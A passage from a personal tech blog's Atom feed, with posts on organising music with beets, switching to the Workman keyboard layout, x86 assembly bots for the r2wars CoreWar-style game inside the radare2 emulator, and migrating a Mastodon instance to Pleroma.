&amp;ldquo;Void Of&#xA;Vision - Hyperdaze (2019)&amp;rdquo; would get picked up, and all the &amp;ldquo;Volumes&amp;rdquo;&#xA;songs wouldn&amp;rsquo;t&amp;mdash;since it wasn&amp;rsquo;t in a subfolder of its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround&amp;mdash;and a necessary cleanup of my music&amp;mdash;I figured I&amp;rsquo;d&#xA;give &lt;a href=&#34;https://beets.io&#34; rel=&#34;nofollow&#34;&gt;beets&lt;/a&gt; a shot.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;beets&#34;&gt;beets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;beets is extensively documented, so I&amp;rsquo;ll skip the basics. In essence,&#xA;it&amp;rsquo;s a music organization tool&amp;mdash;fetches tags, sorts your collection,&#xA;etc. Most of my music has been tagged already, so I skipped that. I only&#xA;it all to be grouped by album. A bit of digging in the docs, and I found&#xA;what I wanted: &lt;code&gt;--group-albums&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in my &lt;code&gt;config.yaml&lt;/code&gt;, I specified my desired path format like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...&#xA;paths:&#xA; default: $albumartist - $album%aunique{}/$track $title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ beet import --noautotag --move --group-albums path/to/dirty/music&#xA;&#xA;$ tree ~/music&#xA;...&#xA;&#xA;104 directories, 1108 files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nice! gonic then happily scanned all my music.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;actually-streaming-this-music&#34;&gt;actually streaming this music&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On my laptop, I decided to just use the NFS share approach&amp;mdash;primarily because&#xA;I&amp;rsquo;d like to stick to &lt;code&gt;cmus&lt;/code&gt; and desktop Subsonic clients like &lt;a href=&#34;https://gitlab.com/sublime-music/sublime-music&#34; rel=&#34;nofollow&#34;&gt;Sublime&#xA;Music&lt;/a&gt; are very clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Android, there are quite a few options on F-Droid&amp;mdash;I decided to go with&#xA;&lt;a href=&#34;https://github.com/ultrasonic/ultrasonic&#34; rel=&#34;nofollow&#34;&gt;Ultrasonic&lt;/a&gt; since it&amp;rsquo;s the only one&#xA;that supports Last.fm scrobbling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things considered, I think I&amp;rsquo;m pretty satisfied with this. &amp;lsquo;twas a good weekend.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>The Workman keyboard layout</title>
<updated>2020-10-24T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-10-24:blog/workman</id>
<link href="https://icyphox.sh/blog/workman"></link>
<summary type="html">&lt;h2&gt;I have a lot of free time on my hands (heh)&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been at my computer everyday, for at least 10 hours at minimum.&#xA;These past ~6 - 7 months have been the most I&amp;rsquo;ve ever used my computer.&#xA;Eventually, I started experiencing discomfort and pain&amp;mdash;especially in&#xA;my pinkie finger. Typing became a chore, and I found myself using my&#xA;shell&amp;rsquo;s command history more just to avoid typing commands. I tried&#xA;using a wrist rest, different keyboard heights, but nothing helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus began my search for a new keyboard layout, and it swiftly concluded&#xA;once I chanced upon the &lt;a href=&#34;https://workmanlayout.org&#34; rel=&#34;nofollow&#34;&gt;Workman layout&lt;/a&gt;.&#xA;According to the website, it is supposedly an improvement over Colemak&#xA;and Dvorak. I skimmed through the numbers and other stats, but&#xA;I honestly didn&amp;rsquo;t care. &amp;ldquo;Oh it&amp;rsquo;s better than the popular alternative&#xA;layouts? Okay that&amp;rsquo;s enough for me.&amp;rdquo;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/kdeloach/workman/gh-pages/images/workman_layout.png&#34; alt=&#34;workman layout&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the tarball containing the different config files for&#xA;different platforms etc. I just needed the &lt;code&gt;xmodmap&lt;/code&gt;&amp;mdash;that&amp;rsquo;s the&#xA;easiest way to apply a keyboard layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ xmodmap xmodmap.workman&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To practice the layout, I used &lt;a href=&#34;https://keybr.com&#34; rel=&#34;nofollow&#34;&gt;keybr.com&lt;/a&gt;. You can&#xA;configure the keyboard layout via the settings. Naturally, the first few&#xA;days were incredibly painful. I was only able to type short sentences&#xA;with very small words. I tried to not engage in heated discussions on&#xA;IRC, for I could not type up a response in time. However, if I did&#xA;stumble into one, I would switch back to QWERTY just for those couple of&#xA;messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found myself making the switch less and less, over the next few days.&#xA;Chatting on IRC is a &lt;em&gt;great&lt;/em&gt; way to learn a layout. Or chatting&#xA;anywhere, really. It forces you to get accustomed to the layout by&#xA;typing the common words used in conversation. I also made a tiny change&#xA;to the layout&amp;mdash;swapping the &lt;kbd&gt;F&lt;/kbd&gt; and &lt;kbd&gt;B&lt;/kbd&gt; keys, since&#xA;typing the &amp;ldquo;fo&amp;rdquo; / &amp;ldquo;of&amp;rdquo; digram in the same hand felt really weird. Soon&#xA;enough, I was averaging about 30 - 40 WPM within the first week of&#xA;having switched to Workman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then things at work started to pick up, and I had to do what I had&#xA;been dreading the most: edit code&amp;mdash;in Vim. It&amp;rsquo;s fairly common&#xA;knowledge that Vim, by default, extensively uses the &lt;kbd&gt;H&lt;/kbd&gt;,&#xA;&lt;kbd&gt;J&lt;/kbd&gt;, &lt;kbd&gt;K&lt;/kbd&gt; and &lt;kbd&gt;L&lt;/kbd&gt; keys for navigation. Sure,&#xA;there are better ways to move around and only using those keys is&#xA;frowned upon&amp;mdash;but it&amp;rsquo;s a habit built over years, and hard to shake&#xA;off. After poking around for a bit, I found the&#xA;&lt;a href=&#34;https://github.com/nicwest/vim-workman&#34; rel=&#34;nofollow&#34;&gt;vim-workman&lt;/a&gt; plugin. Forked it&#xA;to apply the &lt;kbd&gt;F&lt;/kbd&gt;/&lt;kbd&gt;B&lt;/kbd&gt; change, and I began using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was great at first. My Vim muscle memory was not hampered, as I was&#xA;able to use QWERTY in normal mode, and Workman in insert. But as I got&#xA;better at Workman, I found myself instinctively reaching for the Workman&#xA;keys in normal mode. Well, everything except for the &lt;kbd&gt;H&lt;/kbd&gt;,&#xA;&lt;kbd&gt;J&lt;/kbd&gt;, &lt;kbd&gt;K&lt;/kbd&gt; and &lt;kbd&gt;L&lt;/kbd&gt; keys. This quickly became&#xA;bothersome and I uninstalled the plugin to search for a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait, don&amp;rsquo;t I have a sick new &lt;a href=&#34;/blog/ducky-one-2&#34;&gt;programmable mechanical&#xA;keyboard&lt;/a&gt;? What if I configure a layer on it just for the&#xA;&lt;kbd&gt;H&lt;/kbd&gt;, &lt;kbd&gt;J&lt;/kbd&gt;, &lt;kbd&gt;K&lt;/kbd&gt;, &lt;kbd&gt;L&lt;/kbd&gt; keys? After pouring&#xA;through the manual for a bit, I eventually got it set up. I even remapped&#xA;the &lt;kbd&gt;Caps Lock&lt;/kbd&gt; key to &lt;kbd&gt;Fn&lt;/kbd&gt; so it&amp;rsquo;s easier to access the&#xA;layer. So now, hitting &lt;kbd&gt;Caps&#xA;Lock&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt;/&lt;kbd&gt;N&lt;/kbd&gt;/&lt;kbd&gt;E&lt;/kbd&gt;/&lt;kbd&gt;O&lt;/kbd&gt; results in&#xA;&lt;kbd&gt;HJKL&lt;/kbd&gt; being pressed. This took a little bit of getting used to,&#xA;but it got easier with a bit of practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I don&amp;rsquo;t rely on any plugin/remappings, I can use Vim as is on&#xA;remote machines too. Another bonus from this adventure was I actually&#xA;spent time learning better ways to navigate, and reduce my reliance on&#xA;&lt;kbd&gt;HJKL&lt;/kbd&gt;. Overall, a big win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It&amp;rsquo;s been over 4 weeks since my switch, I think, and I&amp;rsquo;m comfortably&#xA;averaging around 80 WPM. Still a good 20 WPM slower than QWERTY, but&#xA;I think it&amp;rsquo;ll get better with time. And am I still able to use QWERTY?&#xA;Well, kinda. I still use QWERTY on my phone keyboard, since Workman&#xA;isn&amp;rsquo;t an option on it and it&amp;rsquo;s actually alright. However, when I use my&#xA;desktop to play Dota, I prefer using voice chat to communicate since&#xA;typing on QWERTY takes too long&amp;mdash;I am forced to hunt and peck.&#xA;Interestingly, after about 15 - 20 minutes on QWERTY, my brain kinda&#xA;just clicks back and I can type on it with relative ease. Not as fast as&#xA;I used to be, but it&amp;rsquo;s manageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things considered, switching to Workman was one of the better&#xA;decisions I have made in life. It feels so nice to be able to type out&#xA;whole words in just the home row. It just &lt;em&gt;flows&lt;/em&gt; so nicely, and it has&#xA;made typing so much more enjoyable again.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>My submissions for r2wars 2020</title>
<updated>2020-09-13T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-09-13:blog/r2wars-2020</id>
<link href="https://icyphox.sh/blog/r2wars-2020"></link>
<summary type="html">&lt;h2&gt;If I learnt one thing, it&#39;s that ARM is the future&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/radareorg/r2wars&#34; rel=&#34;nofollow&#34;&gt;r2wars&lt;/a&gt; is&#xA;a &lt;a href=&#34;http://corewars.org&#34; rel=&#34;nofollow&#34;&gt;CoreWar&lt;/a&gt;-like game thar runs within the radare2&#xA;&lt;a href=&#34;https://radare.gitbooks.io/radare2book/content/disassembling/esil.html&#34; rel=&#34;nofollow&#34;&gt;ESIL&lt;/a&gt;&#xA;virtual machine. In short, you have two programs running in a shared&#xA;memory space (1kb), with the goal of killing the other and surviving as&#xA;long as possible. r2wars was conducted as a part of&#xA;&lt;a href=&#34;https://rada.re/con/2020&#34; rel=&#34;nofollow&#34;&gt;r2con2020&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;day-1&#34;&gt;day 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My first submission was an incredibly simple &amp;ldquo;bomber&amp;rdquo;. All it does is&#xA;write code to a location, jump there, and continue executing the same&#xA;thing over and over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-asm&#34;&gt;mov eax, 0xfeebfeeb; just some bad jumps&#xA;mov ebx, eax&#xA;mov ecx, eax&#xA;mov edx, eax&#xA;mov ebp, eax&#xA;mov edi, eax&#xA;mov esp, 0x3fc&#xA;mov esi, 0x3fd&#xA;mov [esi], 0xe6ff60&#xA;jmp esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically, it writes &lt;code&gt;0xe6ff60&lt;/code&gt;, which is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-asm&#34;&gt;pushal&#xA;jmp esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;effectively looping over and over. &lt;code&gt;pushal&lt;/code&gt; is a very interesting x86&#xA;instruction, that pushes all the registers and decrements the stack&#xA;pointer &lt;code&gt;esp&lt;/code&gt; by how many ever bytes were pushed. Nifty, especially if&#xA;you&amp;rsquo;re looking for high throughput (to bomb the address space). Here, it&#xA;starts bombing from &lt;code&gt;0x3fc&lt;/code&gt; - &lt;code&gt;0x000&lt;/code&gt; (and below, because there&amp;rsquo;s no&#xA;bounds checking in place), and ends up killing itself, since writing&#xA;outside of the arena (&lt;code&gt;0x000&lt;/code&gt; - &lt;code&gt;0x400&lt;/code&gt;) is illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, this bot placed 7th out of 9 contestants&amp;mdash;an underwhelming&#xA;outcome. I had to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/gk1i0.png&#34; alt=&#34;day 1&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;day-2&#34;&gt;day 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I sat for a second and recollected the different reasons for my bot&#xA;getting killed, and the one that occurred the most was my bot&#xA;insta-dying to bad instructions being written from &lt;code&gt;0x400&lt;/code&gt;&amp;mdash;i.e. from&#xA;near where I&amp;rsquo;m positioned. Nearly all competing bots write from bottom&#xA;up, because &lt;code&gt;pushal&lt;/code&gt; &lt;em&gt;decrements&lt;/em&gt; the stack pointer. So the obvious&#xA;solution was to reposition my initial payload way above, at &lt;code&gt;0x000&lt;/code&gt;. And&#xA;of course, it goes without saying that this assumes everyone&amp;rsquo;s using&#xA;&lt;code&gt;pushal&lt;/code&gt; (they are).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-asm&#34;&gt;mov eax, 0xffffffff&#xA;mov ecx, eax&#xA;mov edx, eax&#xA;mov ebx, eax&#xA;mov ebp, eax&#xA;mov esi, eax&#xA;&#xA;check:&#xA; mov edi, 0x000&#xA; cmp [edi], 0&#xA; jne planb&#xA; mov esp, 0x400&#xA; inc edi&#xA; mov [edi], 0xe7ff6060; pushal, jmp edi&#xA; jmp edi&#xA;&#xA;planb:&#xA; mov edi, 0x3fb&#xA; mov [edi], 0xe7ff6060&#xA; mov esp, 0x3fa&#xA; jmp edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added a (pretty redundant) check to see if the stuff at &lt;code&gt;edi&lt;/code&gt; was&#xA;0, since the entire arena is initially &lt;code&gt;0x0&lt;/code&gt;. My reasoning, albeit&#xA;flawed, was that if it wasn&amp;rsquo;t 0, then it was unsafe to go there. In&#xA;hindsight, it would&amp;rsquo;ve been &lt;em&gt;safer&lt;/em&gt;, since it&amp;rsquo;s already been written&#xA;over by somebody. In any case, &lt;code&gt;planb&lt;/code&gt; never got executed because of&#xA;what I&amp;rsquo;d mentioned earlier&amp;mdash;&lt;em&gt;everyone&lt;/em&gt; writes from &lt;code&gt;0x400&lt;/code&gt;. Or&#xA;anywhere above &lt;code&gt;0x000&lt;/code&gt;, for that matter. So I&amp;rsquo;m relatively safer than&#xA;I was in day 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These changes paid off, though. I placed 4th on day 2, out of 13&#xA;contestants! This screenshot was taken on my phone as I was eating&#xA;dinner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/5ZJfT.png&#34; alt=&#34;day 2&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All wasn&amp;rsquo;t well though&amp;mdash;I still lost 4 matches, for the reasons below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I&amp;rsquo;d get snuffed out before my bomb wave from &lt;code&gt;0x400&lt;/code&gt; would reach&#xA;the opponent.&lt;/li&gt;&#xA;&lt;li&gt;I&amp;rsquo;d end up bombing myself without hitting anyone on the way up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2 id=&#34;day-3&#34;&gt;day 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I needed to add some checks to prevent killing myself in the process of&#xA;bombing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-asm&#34;&gt;mov eax, 0xffffffff&#xA;mov ecx, eax&#xA;mov edx, eax&#xA;mov ebx, eax&#xA;mov ebp, eax&#xA;mov esi, eax&#xA;&#xA;mov edi, 0x000&#xA;mov esp, 0x400&#xA;mov [edi], 0x20fc8360&#xA;mov [edi+4], 0xff600374&#xA;mov [edi+8], 0x0400bce7&#xA;mov [edi+12], 0xe7ff0000&#xA;jmp edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you noticed, the initial payload I&amp;rsquo;m writing to the address at &lt;code&gt;edi&lt;/code&gt;&#xA;is a bit more complex this time&amp;mdash;let&amp;rsquo;s break it down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x20fc8360&#xA;0xff600374&#xA;0x0400bce7&#xA;0xe7ff0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This translates to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-asm&#34;&gt;60 pushal &#xA;83 FC 20 cmp esp, 0x20&#xA;74 03 je 9&#xA;60 pushal &#xA;FF E7 jmp edi&#xA;BC 04 00 00 00 mov esp, 0x400; &amp;lt;- 0x9&#xA;FF E7 jmp edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I check if the stack pointer is &lt;code&gt;0x20&lt;/code&gt; (decrements from &lt;code&gt;0x400&lt;/code&gt; due to&#xA;&lt;code&gt;pushal&lt;/code&gt;); if yes, reset to &lt;code&gt;0x400&lt;/code&gt;, else continue looping. This&#xA;prevented me from writing myself over, and also resets bombing from&#xA;&lt;code&gt;0x400&lt;/code&gt;&amp;mdash;better chance of hitting someone we missed in our first wave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds good? That&amp;rsquo;s what I thought too. Day 3 had a bunch of new bot&#xA;submissions (and some updated submissions), and a lot of them checked&#xA;&lt;code&gt;0x000&lt;/code&gt; for existence of a bot, effectively recking me. I placed 8th out&#xA;of 14 contestants, with 7 wins and 6 losses. Tough day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/IKqxD.png&#34; alt=&#34;day 3&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;day-4-the-finals&#34;&gt;day 4: the finals&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I spent a lot of time refactoring my bot. I tried all kinds of things,&#xA;even reworked it to be entirely mobile using the &lt;code&gt;pushal&lt;/code&gt; + &lt;code&gt;jmp esp&lt;/code&gt;&#xA;trick, but I just wasn&amp;rsquo;t satisfied. In the end, I decided to address the&#xA;problem in the simplest way possible. You&amp;rsquo;re checking &lt;code&gt;0x000&lt;/code&gt;? Okay,&#xA;I&amp;rsquo;ll reposition my initial payload to &lt;code&gt;0xd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this surprisingly tiny change landed me in 4th place out of 15&#xA;contestants, which was &lt;em&gt;way&lt;/em&gt; better than I&amp;rsquo;d anticipated! The top spots&#xA;were all claimed by ARM, and naturally so&amp;mdash;they had a potential&#xA;throughput of 64 bytes per cycle thanks to &lt;code&gt;stmia&lt;/code&gt;, compared to x86&amp;rsquo;s 32&#xA;bytes. Pretty neat!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/DJbEE.png&#34; alt=&#34;day 4&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;links-and-references&#34;&gt;links and references&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://anisse.astier.eu/r2wars-2019.html&#34; rel=&#34;nofollow&#34;&gt;Anisse&amp;rsquo;s r2wars 2019 post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.tildeho.me/r2wars/&#34; rel=&#34;nofollow&#34;&gt;Emile&amp;rsquo;s intro to r2wars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://bananamafia.dev/post/r2wars-2019/&#34; rel=&#34;nofollow&#34;&gt;How not to suck at r2wars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://ackcent.com/r2wars-shall-we-play-a-game/&#34; rel=&#34;nofollow&#34;&gt;r2wars: Shall we play a game?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://shell-storm.org/online/Online-Assembler-and-Disassembler&#34; rel=&#34;nofollow&#34;&gt;Shell Storm&amp;rsquo;s online (dis)assembler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/radareorg/radare2&#34; rel=&#34;nofollow&#34;&gt;radare2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/radareorg/r2wars&#34; rel=&#34;nofollow&#34;&gt;r2wars game engine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/anisse/r2warsbots&#34; rel=&#34;nofollow&#34;&gt;Anisse&amp;rsquo;s bot workspace&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/icyphox/r2wars-bots&#34; rel=&#34;nofollow&#34;&gt;My bot dev workspace&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/channel/UCZo6gyBPj6Vgg8u2dfIhY4Q&#34; rel=&#34;nofollow&#34;&gt;r2con YouTube&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;closing-thoughts&#34;&gt;closing thoughts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This was my first ever r2wars, and it was an incredible experience. Who&#xA;woulda thunk staring at colored boxes on the screen would be so much&#xA;fun?! So much so that my parents walked over to see what all the fuss&#xA;was about. Shoutout to &lt;a href=&#34;https://twitter.com/sanguinawer&#34; rel=&#34;nofollow&#34;&gt;Abel&lt;/a&gt;&#xA;and &lt;a href=&#34;https://twitter.com/trufae&#34; rel=&#34;nofollow&#34;&gt;pancake&lt;/a&gt; for taking the time out to&#xA;work on this, and &lt;em&gt;especially&lt;/em&gt; Abel for dealing with all the last minute&#xA;updates and bot submissions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things said, mine was still the best x86 bot&amp;mdash;so that&amp;rsquo;s a win. ;)&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Migrating from Mastodon to Pleroma</title>
<updated>2020-09-04T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-09-04:blog/mastodon-to-pleroma</id>
<link href="https://icyphox.sh/blog/mastodon-to-pleroma"></link>
<summary type="html">&lt;h2&gt;Mastodon bad. Pleroma good.&lt;/h2&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve been following me on the fediverse, you would&amp;rsquo;ve witnessed my&#xA;numerous (failed) attempts at migrating from Mastodon to Pleroma,&#xA;running on my Raspberry Pi. I finally got it working, and these are the&#xA;steps I took. It&amp;rsquo;s sort of a loose guide you could follow, but I can&amp;rsquo;t&#xA;promise it&amp;rsquo;ll work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Erlang and Elixir packages are pretty broken and outdated on&#xA;Raspbian. So this time, I built them from source.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; I also assume&#xA;you have Mastodon and Pleroma (source, not OTP) installed&amp;mdash;probably at&#xA;&lt;code&gt;/home/mastodon/live&lt;/code&gt; and &lt;code&gt;/opt/pleroma&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have Erlang and Elixir compiled and sitting in your &lt;code&gt;PATH&lt;/code&gt;,&#xA;pull &lt;a href=&#34;https://gitlab.com/soapbox-pub/migrator&#34; rel=&#34;nofollow&#34;&gt;soapbox-pub/migrator&lt;/a&gt;.&#xA;Now read the readme and the &lt;code&gt;do_migration.sh&lt;/code&gt; script to get an idea of&#xA;what you&amp;rsquo;re getting into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move into the cloned directory and create a &lt;code&gt;.env&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;MASTODON_PATH=/home/mastodon/live&#xA;PLEROMA_PATH=/opt/pleroma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ yarn # install deps&#xA;$ cp -r mastodon/* /home/mastodon/live&#xA;$ cp -r pleroma/* /opt/pleroma&#xA;$ RAILS_ENV=production yarn masto export&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you run into any permissions issues, &lt;code&gt;chown&lt;/code&gt; and proceed. This should&#xA;export all your Mastodon activity into &lt;code&gt;/home/mastodon/live/migrator&lt;/code&gt;.&#xA;Now, copy the &lt;code&gt;migrator&lt;/code&gt; directory into your Pleroma installation path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ cp -r migrator /opt/pleroma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then import all of it into Pleroma (possibly prefixed with &lt;code&gt;sudo&#xA;-Hu pleroma&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ MIX_ENV=prod mix migrator.import&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all went well, you would&amp;rsquo;ve successfully migrated from Mastodon to&#xA;Pleroma. If not, well feel free to send me an email (or @ me on the fedi).&#xA;I suppose you could also reach &lt;a href=&#34;https://alexgleason.me&#34; rel=&#34;nofollow&#34;&gt;Alex&lt;/a&gt;&amp;mdash;he&amp;rsquo;s&#xA;the incredibly based guy who wrote the migrator,&#xA;&lt;a href=&#34;https://soapbox.pub&#34; rel=&#34;nofollow&#34;&gt;soapbox-fe&lt;/a&gt; and does some Elixir magic he keeps&#xA;&lt;a href=&#34;https://gleasonator.com/@alex&#34; rel=&#34;nofollow&#34;&gt;posting about&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rest assured, the migrator has a 100% success rate&amp;mdash;Alex and I are&#xA;apparently the only two who have it working. &lt;sup&gt;2&lt;/sup&gt;&amp;frasl;&lt;sub&gt;2&lt;/sub&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-should-you-migrate&#34;&gt;why should you migrate?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Because Pleroma is cleaner, leaner&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; and prettier looking&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;. Oh, and we&#xA;have chats.&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/l8g5y.png&#34; alt=&#34;screenshot of pleroma + soapbox-fe&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;http://erlang.org/doc/installation_guide/INSTALL.html&#34; rel=&#34;nofollow&#34;&gt;Erlang install guide&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;https://elixir-lang.org/install.html#compiling-from-source-unix-and-mingw&#34; rel=&#34;nofollow&#34;&gt;Elixir install guide&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;p&gt;Mastodon used about ~2.5 GB out of the 4 I have on my Pi. With&#xA; Pleroma, the total used RAM is only about ~700 MB. That&amp;rsquo;s crazy!&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&amp;hellip;with Soapbox. :^) &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:4&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>The Ducky One 2 SF</title>
